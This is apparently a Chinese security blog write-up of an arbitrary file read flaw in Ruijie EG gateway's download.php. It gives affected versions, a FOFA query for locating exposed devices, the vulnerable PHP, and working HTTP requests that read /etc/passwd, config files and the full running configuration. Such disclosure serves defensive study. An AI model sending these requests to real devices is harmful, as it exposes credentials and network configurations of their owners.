锐捷-EWEB download.php 文件读取漏洞


漏洞简介

锐捷EG易网关是一款综合网关,由锐捷网络完全自主研发。它集成了先进的软硬件体系架构,配备了DPI深入分析引擎、行为分析/管理引擎,可以在保证网络出口高效转发的条件下,提供专业的流控功能、出色的URL过滤以及本地化的日志存储/审计服务。锐捷EG易网关 download.php 的 readFileAction 存在任意文件读取漏洞,攻击者可以利用该漏洞读取设备上任意文件内容,造成敏感信息泄露。

影响版本

<=2022.07.28.01

fofa语法

title="锐捷网络-EWEB网管系统" || app="Ruijie-EG易网关" && body="/login.php?a=version"

漏洞分析

看下 read_txtAction 的实现逻辑

public function read_txtAction()
    {
        $filename = v("file");
        if (!file_exists($filename)) {
            $data["status"] = 2;
            $data["msg"] = $filename . "不存在";
            json_echo($data);
            exit();
        } else {
            $fileContent = file_get_contents($filename);
            $data = array("status" => true, "data" => $fileContent);
            json_echo($data);
        }
    }

直接将 file 带入 file_get_contents 函数进行文件操作,造成任意文件读取漏洞。

再看 download.php 中的 readFileAction 方法实现

public function readFileAction() {
        $filename = '/data/' . p("name");
        if (!file_exists($filename)) {
            $data = $filename . "不存在";
            echo($data);
            exit();
        } else {
            $data = file_get_contents($filename);
            echo($data);
        }
    }

直接将无任何过滤和校验 post 获取的 name 拼接在 /data/ 后直接带入 file_get_contents 函数中进行文件操作,导致任意文件读取漏洞。

漏洞复现

GET /download.php?a=read_txt&file=/etc/passwd HTTP/1.1
Host: ruijieweb.mrxn.net
Cookie: RUIJIEID=xxxxxxxxxxl855hve3xxxxxxxx

POST /download.php?a=readFile HTTP/1.1
Host: ruijieweb.mrxn.net
Content-Type: application/x-www-form-urlencoded
Cookie: RUIJIEID=xxxxxxxxxxl855hve3xxxxxxxx
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

name=config.text

成功读取到 config.text 文件内容

同样的,通过 sysConfig.php 的 showRunAction 也可以获取系统完整配置

GET /pub/sysConfig.php?a=showRun HTTP/1.1
Host: ruijieweb.mrxn.net
Cookie: RUIJIEID=xxxxxxxxxxl855hve3xxxxxxxx

手机扫码阅读

用友U8 CRM ajaxgetborrowdata.php SQL注入漏洞

用友U8 CRM objectview.php SQL注入漏洞

评 论